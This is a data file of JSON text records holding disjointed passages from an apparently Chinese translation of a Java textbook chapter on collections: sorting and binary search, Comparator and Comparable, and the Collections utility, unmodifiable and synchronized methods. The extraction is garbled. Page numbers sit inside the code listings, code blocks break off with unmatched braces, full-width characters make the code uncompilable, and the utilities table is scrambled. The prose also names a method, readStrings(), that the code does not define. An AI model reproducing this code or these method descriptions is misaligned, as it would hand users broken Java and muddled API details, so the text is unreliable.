    {"text": "但是，如果想新建一个集合，同时不想为集合接口中的所有方法都提供有意义的定义， 同时令其仍与现有库配合，这种设计方法也确实提供了一个“后门”可以利用。"},
    {"text": "（２） 若一个操作未获支持，那么 ＵｎｓｕｐｐｏｒｔｅｄＯｐｅｒａｔｉｏｎＥｘｃｅｐｔｉｏｎ（未支持的操作违例）极有可能在实现期 间出现，则不是在产品已交付给客户以后才会出现。"},
    {"text": "在另一方面，若请求一个新接口表达不同种类的 行为（可能叫作“ＦｉｘｅｄＳｉｚｅＬｉｓｔ”——固定长度列表），就有遭遇更大的复杂程度的危险。"},
    {"text": "１． 数组 Ａｒｒａｙｓ 类为所有基本数据类型的数组提供了一个过载的 ｓｏｒｔ（）和 ｂｉｎａｒｙＳｅａｒｃｈ（），它们亦可用于 Ｓｔｒｉｎｇ 和 Ｏｂｊｅｃｔ。"},
    {"text": "下面这个例子显示出如何排序和搜索一个字节数组（其他所有基本数据类型都是类似的）以及一个 Ｓｔｒｉｎｇ 数组： ／／： Ａｒｒａｙ１．ｊａｖａ ／／ Ｔｅｓｔｉｎｇ ｔｈｅ ｓｏｒｔｉｎｇ ＆ ｓｅａｒｃｈｉｎｇ ｉｎ Ａｒｒａｙｓ ｐａｃｋａｇｅ ｃ０８．ｎｅｗｃｏｌｌｅｃｔｉｏｎｓ；"},
    {"text": "ｉｍｐｏｒｔ ｊａｖａ．ｕｔｉｌ．＊； ｐｕｂｌｉｃ ｃｌａｓｓ Ａｒｒａｙ１ ｛ ｓｔａｔｉｃ Ｒａｎｄｏｍ ｒ ＝ ｎｅｗ Ｒａｎｄｏｍ（）； ｓｔａｔｉｃ Ｓｔｒｉｎｇ ｓｓｏｕｒｃｅ ＝ ＂ＡＢＣＤＥＦＧＨＩＪＫＬＭＮＯＰＱＲＳＴＵＶＷＸＹＺ＂ ＋ ＂ａｂｃｄｅｆｇｈｉｊｋｌｍｎｏｐｑｒｓｔｕｖｗｘｙｚ＂； ｓｔａｔｉｃ ｃｈａｒ［］ ｓｒｃ ＝ ｓｓｏｕｒｃｅ．ｔｏＣｈａｒＡｒｒａｙ（）； ／／ Ｃｒｅａｔｅ ａ ｒａｎｄｏｍ Ｓｔｒｉｎｇ ｐｕｂｌｉｃ ｓｔａｔｉｃ Ｓｔｒｉｎｇ ｒａｎｄＳｔｒｉｎｇ（ｉｎｔ ｌｅｎｇｔｈ） ｛ ｃｈａｒ［］ ｂｕｆ ＝ ｎｅｗ ｃｈａｒ［ｌｅｎｇｔｈ］； ｉｎｔ ｒｎｄ； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｌｅｎｇｔｈ； ｉ＋＋） ｛ ｒｎｄ ＝ Ｍａｔｈ．ａｂｓ（ｒ．ｎｅｘｔＩｎｔ（）） ％ ｓｒｃ．ｌｅｎｇｔｈ； ｂｕｆ［ｉ］ ＝ ｓｒｃ［ｒｎｄ］； ｝ ｒｅｔｕｒｎ ｎｅｗ Ｓｔｒｉｎｇ（ｂｕｆ）； ｝ ／／ Ｃｒｅａｔｅ ａ ｒａｎｄｏｍ ａｒｒａｙ ｏｆ Ｓｔｒｉｎｇｓ： ｐｕｂｌｉｃ ｓｔａｔｉｃ ２５５ Ｓｔｒｉｎｇ［］ ｒａｎｄＳｔｒｉｎｇｓ（ｉｎｔ ｌｅｎｇｔｈ， ｉｎｔ ｓｉｚｅ） ｛ Ｓｔｒｉｎｇ［］ ｓ ＝ ｎｅｗ Ｓｔｒｉｎｇ［ｓｉｚｅ］； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｓｉｚｅ； ｉ＋＋） ｓ［ｉ］ ＝ ｒａｎｄＳｔｒｉｎｇ（ｌｅｎｇｔｈ）； ｒｅｔｕｒｎ ｓ； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｐｒｉｎｔ（ｂｙｔｅ［］ ｂ） ｛ ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｂ．ｌｅｎｇｔｈ； ｉ＋＋） Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔ（ｂ［ｉ］ ＋ ＂ ＂）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（）； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｐｒｉｎｔ（Ｓｔｒｉｎｇ［］ ｓ） ｛ ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｓ．ｌｅｎｇｔｈ； ｉ＋＋） Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔ（ｓ［ｉ］ ＋ ＂ ＂）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（）； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ｂｙｔｅ［］ ｂ ＝ ｎｅｗ ｂｙｔｅ［１５］； ｒ．ｎｅｘｔＢｙｔｅｓ（ｂ）； ／／ Ｆｉｌｌ ｗｉｔｈ ｒａｎｄｏｍ ｂｙｔｅｓ ｐｒｉｎｔ（ｂ）； Ａｒｒａｙｓ．ｓｏｒｔ（ｂ）； ｐｒｉｎｔ（ｂ）； ｉｎｔ ｌｏｃ ＝ Ａｒｒａｙｓ．ｂｉｎａｒｙＳｅａｒｃｈ（ｂ， ｂ［１０］）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｌｏｃａｔｉｏｎ ｏｆ ＂ ＋ ｂ［１０］ ＋ ＂ ＝ ＂ ＋ ｌｏｃ）； ／／ Ｔｅｓｔ Ｓｔｒｉｎｇ ｓｏｒｔ ＆ ｓｅａｒｃｈ： Ｓｔｒｉｎｇ［］ ｓ ＝ ｒａｎｄＳｔｒｉｎｇｓ（４， １０）； ｐｒｉｎｔ（ｓ）； Ａｒｒａｙｓ．ｓｏｒｔ（ｓ）； ｐｒｉｎｔ（ｓ）； ｌｏｃ ＝ Ａｒｒａｙｓ．ｂｉｎａｒｙＳｅａｒｃｈ（ｓ， ｓ［４］）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｌｏｃａｔｉｏｎ ｏｆ ＂ ＋ ｓ［４］ ＋ ＂ ＝ ＂ ＋ ｌｏｃ）；"},
    {"text": "ｒａｎｄＳｔｒｉｎｇ（）返回一个任意长度的字串； 而 ｒｅａｄＳｔｒｉｎｇｓ（）创建随机字串的一个数组，同时给定每个字串的 长度以及希望的数组大小。"},
    {"text": "在 ｍａｉｎ（）中，Ｒａｎｄｏｍ．ｎｅｘｔＢｙｔｅｓ（） 用随机选择的字节填充数组自变量（没有对应的 Ｒａｎｄｏｍ 方法用于创建其他基本数据类型的数组）。"},
    {"text": "与 ｂｉｎａｒｙＳｅａｒｃｈ（） 有关的还有一个重要的警告：若在执行一次 ｂｉｎａｒｙＳｅａｒｃｈ（）之前不调用 ｓｏｒｔ（），便会发生不可预测的行为， 其中甚至包括无限循环。"},
    {"text": "对 Ｓｔｒｉｎｇ 的排序以及搜索是相似的，但在运行程序的时候，我们会注意到一个有趣的现象：排序遵守的是字 典顺序，亦即大写字母在字符集中位于小写字母的前面。"},
    {"text": "这样造成的 ２５６ 一个后果便是：必须从外部进行 Ｏｂｊｅｃｔ 的排序，而且新的集合库提供了实现这一操作的标准方式（最理想的 是在 Ｏｂｊｅｃｔ 里定义它）。"},
    {"text": "针对 Ｏｂｊｅｃｔ 数组（以及 Ｓｔｒｉｎｇ，它当然属于 Ｏｂｊｅｃｔ 的一种），可使用一个 ｓｏｒｔ（），并令其接纳另一个参 数：实现了 Ｃｏｍｐａｒａｔｏｒ 接口（即“比较器”接口，新集合库的一部分）的一个对象，并用它的单个 ｃｏｍｐａｒｅ（）方法进行比较。"},
    {"text": "基于这一规则，上述例 子的 Ｓｔｒｉｎｇ 部分便可重新写过，令其进行真正按字母顺序的排序： ／／： ＡｌｐｈａＣｏｍｐ．ｊａｖａ ／／ Ｕｓｉｎｇ Ｃｏｍｐａｒａｔｏｒ ｔｏ ｐｅｒｆｏｒｍ ａｎ ａｌｐｈａｂｅｔｉｃ ｓｏｒｔ ｐａｃｋａｇｅ ｃ０８．ｎｅｗｃｏｌｌｅｃｔｉｏｎｓ；"},
    {"text": "ｐｕｂｌｉｃ ｃｌａｓｓ ＡｌｐｈａＣｏｍｐ ｉｍｐｌｅｍｅｎｔｓ Ｃｏｍｐａｒａｔｏｒ ｛ ｐｕｂｌｉｃ ｉｎｔ ｃｏｍｐａｒｅ（Ｏｂｊｅｃｔ ｏ１， Ｏｂｊｅｃｔ ｏ２） ｛ ／／ Ａｓｓｕｍｅ ｉｔ＇ｓ ｕｓｅｄ ｏｎｌｙ ｆｏｒ Ｓｔｒｉｎｇｓ．．． Ｓｔｒｉｎｇ ｓ１ ＝ （（Ｓｔｒｉｎｇ）ｏ１）．ｔｏＬｏｗｅｒＣａｓｅ（）； Ｓｔｒｉｎｇ ｓ２ ＝ （（Ｓｔｒｉｎｇ）ｏ２）．ｔｏＬｏｗｅｒＣａｓｅ（）； ｒｅｔｕｒｎ ｓ１．ｃｏｍｐａｒｅＴｏ（ｓ２）； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｓｔｒｉｎｇ［］ ｓ ＝ Ａｒｒａｙ１．ｒａｎｄＳｔｒｉｎｇｓ（４， １０）； Ａｒｒａｙ１．ｐｒｉｎｔ（ｓ）； ＡｌｐｈａＣｏｍｐ ａｃ ＝ ｎｅｗ ＡｌｐｈａＣｏｍｐ（）； Ａｒｒａｙｓ．ｓｏｒｔ（ｓ， ａｃ）； Ａｒｒａｙ１．ｐｒｉｎｔ（ｓ）； ／／ Ｍｕｓｔ ｕｓｅ ｔｈｅ Ｃｏｍｐａｒａｔｏｒ ｔｏ ｓｅａｒｃｈ， ａｌｓｏ： ｉｎｔ ｌｏｃ ＝ Ａｒｒａｙｓ．ｂｉｎａｒｙＳｅａｒｃｈ（ｓ， ｓ［３］， ａｃ）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｌｏｃａｔｉｏｎ ｏｆ ＂ ＋ ｓ［３］ ＋ ＂ ＝ ＂ ＋ ｌｏｃ）；"},
    {"text": "｝ ｝ ／／／：￣ 通过造型为 Ｓｔｒｉｎｇ，ｃｏｍｐａｒｅ（）方法会进行“暗示”性的测试，保证自己操作的只能是 Ｓｔｒｉｎｇ 对象——运行 期系统会捕获任何差错。"},
    {"text": "若用自己的 Ｃｏｍｐａｒａｔｏｒ 来进行一次 ｓｏｒｔ（），那么在使用 ｂｉｎａｒｙＳｅａｒｃｈ（）时必须使用那个相同的 Ｃｏｍｐａｒａｔｏｒ。"},
    {"text": "通过实现 Ｃｏｍｐａｒａｂｌｅ 接口，它采用了赋予一个类的 “自然比较方法”。 这个接口含有单独一个方法——ｃｏｍｐａｒｅＴｏ（），能分别根据它小于、等于或者大于自变量 而返回负数、零或者正数，从而实现对象的比较。"},
    {"text": "下面这个例子简单地阐示了这一点： ／／： ＣｏｍｐＣｌａｓｓ．ｊａｖａ ／／ Ａ ｃｌａｓｓ ｔｈａｔ ｉｍｐｌｅｍｅｎｔｓ Ｃｏｍｐａｒａｂｌｅ ｐａｃｋａｇｅ ｃ０８．ｎｅｗｃｏｌｌｅｃｔｉｏｎｓ；"},
    {"text": "ｉｍｐｏｒｔ ｊａｖａ．ｕｔｉｌ．＊； ｐｕｂｌｉｃ ｃｌａｓｓ ＣｏｍｐＣｌａｓｓ ｉｍｐｌｅｍｅｎｔｓ Ｃｏｍｐａｒａｂｌｅ ｛ ｐｒｉｖａｔｅ ｉｎｔ ｉ； ｐｕｂｌｉｃ ＣｏｍｐＣｌａｓｓ（ｉｎｔ ｉｉ） ｛ ｉ ＝ ｉｉ； ｝ ｐｕｂｌｉｃ ｉｎｔ ｃｏｍｐａｒｅＴｏ（Ｏｂｊｅｃｔ ｏ） ｛ ／／ Ｉｍｐｌｉｃｉｔｌｙ ｔｅｓｔｓ ｆｏｒ ｃｏｒｒｅｃｔ ｔｙｐｅ： ２５７ ｉｎｔ ａｒｇｉ ＝ （（ＣｏｍｐＣｌａｓｓ）ｏ）．ｉ； ｉｆ（ｉ ＝＝ ａｒｇｉ） ｒｅｔｕｒｎ ０； ｉｆ（ｉ ＜ ａｒｇｉ） ｒｅｔｕｒｎ －１； ｒｅｔｕｒｎ １； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｐｒｉｎｔ（Ｏｂｊｅｃｔ［］ ａ） ｛ ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ａ．ｌｅｎｇｔｈ； ｉ＋＋） Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔ（ａ［ｉ］ ＋ ＂ ＂）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（）； ｝ ｐｕｂｌｉｃ Ｓｔｒｉｎｇ ｔｏＳｔｒｉｎｇ（） ｛ ｒｅｔｕｒｎ ｉ ＋ ＂＂； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ＣｏｍｐＣｌａｓｓ［］ ａ ＝ ｎｅｗ ＣｏｍｐＣｌａｓｓ［２０］； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ａ．ｌｅｎｇｔｈ； ｉ＋＋） ａ［ｉ］ ＝ ｎｅｗ ＣｏｍｐＣｌａｓｓ（ （ｉｎｔ）（Ｍａｔｈ．ｒａｎｄｏｍ（） ＊１００））； ｐｒｉｎｔ（ａ）； Ａｒｒａｙｓ．ｓｏｒｔ（ａ）； ｐｒｉｎｔ（ａ）； ｉｎｔ ｌｏｃ ＝ Ａｒｒａｙｓ．ｂｉｎａｒｙＳｅａｒｃｈ（ａ， ａ［３］）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｌｏｃａｔｉｏｎ ｏｆ ＂ ＋ ａ［３］ ＋ ＂ ＝ ＂ ＋ ｌｏｃ）；"},
    {"text": "用于排序和搜索列表的静态方法包含在类 Ｃｏｌｌｅｃｔｉｏｎｓ 中，但它们拥有与 Ａｒｒａｙｓ 中差不多的签名：ｓｏｒｔ（Ｌｉｓｔ）用于对一个实现了 Ｃｏｍｐａｒａｂｌｅ 的对象 列表进行排序； ｂｉｎａｒｙＳｅａｒｃｈ（Ｌｉｓｔ，Ｏｂｊｅｃｔ）用于查找列表中的某个对象； ｓｏｒｔ（Ｌｉｓｔ，Ｃｏｍｐａｒａｔｏｒ）利用一个 “比较器”对一个列表进行排序； 而 ｂｉｎａｒｙＳｅａｒｃｈ（Ｌｉｓｔ，Ｏｂｊｅｃｔ，Ｃｏｍｐａｒａｔｏｒ）则用于查找那个列表中的一个 对象（注释⑨）。 下面这个例子利用了预先定义好的 ＣｏｍｐＣｌａｓｓ 和 ＡｌｐｈａＣｏｍｐ 来示范 Ｃｏｌｌｅｃｔｉｏｎｓ 中的各种 排序工具： ／／： ＬｉｓｔＳｏｒｔ．ｊａｖａ ／／ Ｓｏｒｔｉｎｇ ａｎｄ ｓｅａｒｃｈｉｎｇ Ｌｉｓｔｓ ｗｉｔｈ ＇Ｃｏｌｌｅｃｔｉｏｎｓ＇ ｐａｃｋａｇｅ ｃ０８．ｎｅｗｃｏｌｌｅｃｔｉｏｎｓ；"},
    {"text": "ｉｍｐｏｒｔ ｊａｖａ．ｕｔｉｌ．＊； ｐｕｂｌｉｃ ｃｌａｓｓ ＬｉｓｔＳｏｒｔ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ｆｉｎａｌ ｉｎｔ ＳＺ ＝ ２０； ／／ Ｕｓｉｎｇ ＂ｎａｔｕｒａｌ ｃｏｍｐａｒｉｓｏｎ ｍｅｔｈｏｄ＂： Ｌｉｓｔ ａ ＝ ｎｅｗ ＡｒｒａｙＬｉｓｔ（）； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ＳＺ； ｉ＋＋） ａ．ａｄｄ（ｎｅｗ ＣｏｍｐＣｌａｓｓ（ （ｉｎｔ）（Ｍａｔｈ．ｒａｎｄｏｍ（） ＊１００）））； Ｃｏｌｌｅｃｔｉｏｎ１．ｐｒｉｎｔ（ａ）； Ｃｏｌｌｅｃｔｉｏｎｓ．ｓｏｒｔ（ａ）； Ｃｏｌｌｅｃｔｉｏｎ１．ｐｒｉｎｔ（ａ）； Ｏｂｊｅｃｔ ｆｉｎｄ ＝ ａ．ｇｅｔ（ＳＺ／２）； ２５８ ｉｎｔ ｌｏｃ ＝ Ｃｏｌｌｅｃｔｉｏｎｓ．ｂｉｎａｒｙＳｅａｒｃｈ（ａ， ｆｉｎｄ）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｌｏｃａｔｉｏｎ ｏｆ ＂ ＋ ｆｉｎｄ ＋ ＂ ＝ ＂ ＋ ｌｏｃ）； ／／ Ｕｓｉｎｇ ａ Ｃｏｍｐａｒａｔｏｒ： Ｌｉｓｔ ｂ ＝ ｎｅｗ ＡｒｒａｙＬｉｓｔ（）； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ＳＺ； ｉ＋＋） ｂ．ａｄｄ（Ａｒｒａｙ１．ｒａｎｄＳｔｒｉｎｇ（４））； Ｃｏｌｌｅｃｔｉｏｎ１．ｐｒｉｎｔ（ｂ）； ＡｌｐｈａＣｏｍｐ ａｃ ＝ ｎｅｗ ＡｌｐｈａＣｏｍｐ（）； Ｃｏｌｌｅｃｔｉｏｎｓ．ｓｏｒｔ（ｂ， ａｃ）； Ｃｏｌｌｅｃｔｉｏｎ１．ｐｒｉｎｔ（ｂ）； ｆｉｎｄ ＝ ｂ．ｇｅｔ（ＳＺ／２）； ／／ Ｍｕｓｔ ｕｓｅ ｔｈｅ Ｃｏｍｐａｒａｔｏｒ ｔｏ ｓｅａｒｃｈ， ａｌｓｏ： ｌｏｃ ＝ Ｃｏｌｌｅｃｔｉｏｎｓ．ｂｉｎａｒｙＳｅａｒｃｈ（ｂ， ｆｉｎｄ， ａｃ）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｌｏｃａｔｉｏｎ ｏｆ ＂ ＋ ｆｉｎｄ ＋ ＂ ＝ ＂ ＋ ｌｏｃ）；"},
    {"text": "｝ ｝ ／／／：￣ ⑨：在本书写作时，已宣布了一个新的 Ｃｏｌｌｅｃｔｉｏｎｓ．ｓｔａｂｌｅＳｏｒｔ（），可用它进行合并式排序，但还没有它的 测试版问世。"},
    {"text": "８ ． ７ ． ８ 实用工具 Ｃｏｌｌｅｃｔｉｏｎｓ 类中含有其他大量有用的实用工具： ｅ ｎ ｕ ｍ ｅ ｒ ａ ｔ ｉ ｏ ｎ （ Ｃ ｏ ｌ ｌ ｅ ｃ ｔ ｉ ｏ ｎ ） Ｐｒｏｄｕｃｅｓ ａｎ ｏｌｄ－ｓｔｙｌｅ Ｅ ｎ ｕ ｍ ｅ ｒ ａ ｔ ｉ ｏ ｎ ｆｏｒ ｔｈｅ ａｒｇｕｍｅｎｔ． ｍ ａ ｘ （ Ｃ ｏ ｌ ｌ ｅ ｃ ｔ ｉ ｏ ｎ ） Ｐｒｏｄｕｃｅｓ ｔｈｅ ｍａｘｉｍｕｍ ｏｒ ｍｉｎｉｍｕｍ ｅｌｅｍｅｎｔ ｉｎ ｔｈｅ ａｒｇｕｍｅｎｔ ｕｓｉｎｇ ｔｈｅ ｍ ｉ ｎ （ Ｃ ｏ ｌ ｌ ｅ ｃ ｔ ｉ ｏ ｎ ） ｎａｔｕｒａｌ ｃｏｍｐａｒｉｓｏｎ ｍｅｔｈｏｄ ｏｆ ｔｈｅ ｏｂｊｅｃｔｓ ｉｎ ｔｈｅ Ｃ ｏ ｌ ｌ ｅ ｃ ｔ ｉ ｏ ｎ ． ｍ ａ ｘ （ Ｃ ｏ ｌ ｌ ｅ ｃ ｔ ｉ ｏ ｎ ， Ｐｒｏｄｕｃｅｓ ｔｈｅ ｍａｘｉｍｕｍ ｏｒ ｍｉｎｉｍｕｍ ｅｌｅｍｅｎｔ ｉｎ ｔｈｅ Ｃ ｏ ｌ ｌ ｅ ｃ ｔ ｉ ｏ ｎ ｕｓｉｎｇ ｔｈｅ Ｃ ｏ ｍ ｐ ａ ｒ ａ ｔ ｏ ｒ ） Ｃ ｏ ｍ ｐ ａ ｒ ａ ｔ ｏ ｒ ． ｍ ｉ ｎ （ Ｃ ｏ ｌ ｌ ｅ ｃ ｔ ｉ ｏ ｎ ， Ｃ ｏ ｍ ｐ ａ ｒ ａ ｔ ｏ ｒ ） ｎ Ｃ ｏ ｐ ｉ ｅ ｓ （ ｉ ｎ ｔ ｎ ， Ｏ ｂ ｊ ｅ ｃ ｔ ｏ ） Ｒｅｔｕｒｎｓ ａｎ ｉｍｍｕｔａｂｌｅ Ｌ ｉ ｓ ｔ ｏｆ ｓｉｚｅ ｎ ｗｈｏｓｅ ｈａｎｄｌｅｓ ａｌｌ ｐｏｉｎｔ ｔｏ ｏ ． ｓｕｂＬｉｓｔ（Ｌｉｓｔ， ｉｎｔ ｍｉｎ， ｉｎｔ Ｒｅｔｕｒｎｓ ａ ｎｅｗ Ｌ ｉ ｓ ｔ ｂａｃｋｅｄ ｂｙ ｔｈｅ ｓｐｅｃｉｆｉｅｄ ａｒｇｕｍｅｎｔ Ｌ ｉ ｓ ｔ ｔｈａｔ ｉｓ ａ ｍ ａ ｘ ） ｗｉｎｄｏｗ ｉｎｔｏ ｔｈａｔ ａｒｇｕｍｅｎｔ ｗｉｔｈ ｉｎｄｅｘｅｓ ｓｔａｒｔｉｎｇ ａｔ ｍ ｉ ｎ ａｎｄ ｓｔｏｐｐｉｎｇ ｊｕｓｔ ｂｅｆｏｒｅ ｍ ａ ｘ ． ｅｎｕｍｅｒａｔｉｏｎ（Ｃｏｌｌｅｃｔｉｏｎ） 为自变量产生原始风格的 Ｅｎｕｍｅｒａｔｉｏｎ（枚举） ｍａｘ（Ｃｏｌｌｅｃｔｉｏｎ），ｍｉｎ（Ｃｏｌｌｅｃｔｉｏｎ） 在自变量中用集合内对象的自然比较方法产生最大或最小元素 ｍａｘ（Ｃｏｌｌｅｃｔｉｏｎ，Ｃｏｍｐａｒａｔｏｒ），ｍｉｎ（Ｃｏｌｌｅｃｔｉｏｎ，Ｃｏｍｐａｒａｔｏｒ） 在集合内用比较器产生最大或最小元素 ｎＣｏｐｉｅｓ（ｉｎｔ ｎ， Ｏｂｊｅｃｔ ｏ） 返回长度为 ｎ 的一个不可变列表，它的所有句柄均指向 ｏ ｓｕｂＬｉｓｔ（Ｌｉｓｔ，ｉｎｔ ｍｉｎ，ｉｎｔ ｍａｘ） 返回由指定参数列表后推得到的一个新列表。"},
    {"text": "可将这个列表想象成一个 “窗口”，它自索引为 ｍｉｎ 的地方开始，正好结束于 ｍａｘ 的前面 注意 ｍｉｎ（）和 ｍａｘ（）都是随同 Ｃｏｌｌｅｃｔｉｏｎ 对象工作的，而非随同 Ｌｉｓｔ，所以不必担心 Ｃｏｌｌｅｃｔｉｏｎ 是否需要 排序（就象早先指出的那样，在执行一次 ｂｉｎａｒｙＳｅａｒｃｈ（）——即二进制搜索——之前，必须对一个 Ｌｉｓｔ 或 者一个数组执行 ｓｏｒｔ（））。"},
    {"text": "下面这个例子演示了 为它们分别构建只读版本的正确方法： ／／： ＲｅａｄＯｎｌｙ．ｊａｖａ ／／ Ｕｓｉｎｇ ｔｈｅ Ｃｏｌｌｅｃｔｉｏｎｓ．ｕｎｍｏｄｉｆｉａｂｌｅ ｍｅｔｈｏｄｓ ｐａｃｋａｇｅ ｃ０８．ｎｅｗｃｏｌｌｅｃｔｉｏｎｓ；"},
    {"text": "ｉｍｐｏｒｔ ｊａｖａ．ｕｔｉｌ．＊； ｐｕｂｌｉｃ ｃｌａｓｓ ＲｅａｄＯｎｌｙ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｃｏｌｌｅｃｔｉｏｎ ｃ ＝ ｎｅｗ ＡｒｒａｙＬｉｓｔ（）； Ｃｏｌｌｅｃｔｉｏｎ１．ｆｉｌｌ（ｃ）； ／／ Ｉｎｓｅｒｔ ｕｓｅｆｕｌ ｄａｔａ ｃ ＝ Ｃｏｌｌｅｃｔｉｏｎｓ．ｕｎｍｏｄｉｆｉａｂｌｅＣｏｌｌｅｃｔｉｏｎ（ｃ）； Ｃｏｌｌｅｃｔｉｏｎ１．ｐｒｉｎｔ（ｃ）； ／／ Ｒｅａｄｉｎｇ ｉｓ ＯＫ ／／！ ｃ．ａｄｄ（＂ｏｎｅ＂）； ／／ Ｃａｎ＇ｔ ｃｈａｎｇｅ ｉｔ Ｌｉｓｔ ａ ＝ ｎｅｗ ＡｒｒａｙＬｉｓｔ（）； Ｃｏｌｌｅｃｔｉｏｎ１．ｆｉｌｌ（ａ）； ａ ＝ Ｃｏｌｌｅｃｔｉｏｎｓ．ｕｎｍｏｄｉｆｉａｂｌｅＬｉｓｔ（ａ）； ＬｉｓｔＩｔｅｒａｔｏｒ ｌｉｔ ＝ ａ．ｌｉｓｔＩｔｅｒａｔｏｒ（）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｌｉｔ．ｎｅｘｔ（））； ／／ Ｒｅａｄｉｎｇ ＯＫ ／／！ ｌｉｔ．ａｄｄ（＂ｏｎｅ＂）； ／／ Ｃａｎ＇ｔ ｃｈａｎｇｅ ｉｔ Ｓｅｔ ｓ ＝ ｎｅｗ ＨａｓｈＳｅｔ（）； Ｃｏｌｌｅｃｔｉｏｎ１．ｆｉｌｌ（ｓ）； ｓ ＝ Ｃｏｌｌｅｃｔｉｏｎｓ．ｕｎｍｏｄｉｆｉａｂｌｅＳｅｔ（ｓ）； Ｃｏｌｌｅｃｔｉｏｎ１．ｐｒｉｎｔ（ｓ）； ／／ Ｒｅａｄｉｎｇ ＯＫ ／／！ ｓ．ａｄｄ（＂ｏｎｅ＂）； ／／ Ｃａｎ＇ｔ ｃｈａｎｇｅ ｉｔ Ｍａｐ ｍ ＝ ｎｅｗ ＨａｓｈＭａｐ（）； Ｍａｐ１．ｆｉｌｌ（ｍ， Ｍａｐ１．ｔｅｓｔＤａｔａ１）； ｍ ＝ Ｃｏｌｌｅｃｔｉｏｎｓ．ｕｎｍｏｄｉｆｉａｂｌｅＭａｐ（ｍ）； Ｍａｐ１．ｐｒｉｎｔ（ｍ）； ／／ Ｒｅａｄｉｎｇ ＯＫ ／／！ ｍ．ｐｕｔ（＂Ｒａｌｐｈ＂， ＂Ｈｏｗｄｙ！"},
    {"text": "在另一方面，该工具也允许我们在一个类中将能够修改的容器保持为 ｐｒｉｖａｔｅ 状态，并可从一个方法 调用中返回指向那个容器的一个只读句柄。"},
    {"text": "为特定类型调用“不可修改”的方法不会造成编译期间的检查，但一旦发生任何变化，对修改特定容器的方 法的调用便会产生一个 ＵｎｓｕｐｐｏｒｔｅｄＯｐｅｒａｔｉｏｎＥｘｃｅｐｔｉｏｎ 违例。"},
    {"text": "它的语法与“不 可修改”的方法是类似的： ２６０ ／／： Ｓｙｎｃｈｒｏｎｉｚａｔｉｏｎ．ｊａｖａ ／／ Ｕｓｉｎｇ ｔｈｅ Ｃｏｌｌｅｃｔｉｏｎｓ．ｓｙｎｃｈｒｏｎｉｚｅｄ ｍｅｔｈｏｄｓ ｐａｃｋａｇｅ ｃ０８．ｎｅｗｃｏｌｌｅｃｔｉｏｎｓ；"},
    {"text": "ｐｕｂｌｉｃ ｃｌａｓｓ Ｓｙｎｃｈｒｏｎｉｚａｔｉｏｎ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｃｏｌｌｅｃｔｉｏｎ ｃ ＝ Ｃｏｌｌｅｃｔｉｏｎｓ．ｓｙｎｃｈｒｏｎｉｚｅｄＣｏｌｌｅｃｔｉｏｎ（ ｎｅｗ ＡｒｒａｙＬｉｓｔ（））； Ｌｉｓｔ ｌｉｓｔ ＝ Ｃｏｌｌｅｃｔｉｏｎｓ．ｓｙｎｃｈｒｏｎｉｚｅｄＬｉｓｔ（ ｎｅｗ ＡｒｒａｙＬｉｓｔ（））； Ｓｅｔ ｓ ＝ Ｃｏｌｌｅｃｔｉｏｎｓ．ｓｙｎｃｈｒｏｎｉｚｅｄＳｅｔ（ ｎｅｗ ＨａｓｈＳｅｔ（））； Ｍａｐ ｍ ＝ Ｃｏｌｌｅｃｔｉｏｎｓ．ｓｙｎｃｈｒｏｎｉｚｅｄＭａｐ（ ｎｅｗ ＨａｓｈＭａｐ（））；"},
    {"text": "我们可能已传递了那个对象， 可能它位位于我们前面，可能容器的大小在我们调用 ｓｉｚｅ（）后已发生了收缩——我们面临各种各样可能的危 险。"},
    {"text": "若探测到有其他方面也准备修改容器，便会立即产生一个 ＣｏｎｃｕｒｒｅｎｔＭｏｄｉｆｉｃａｔｉｏｎＥｘｃｅｐｔｉｏｎ（并发修改违例）。"},
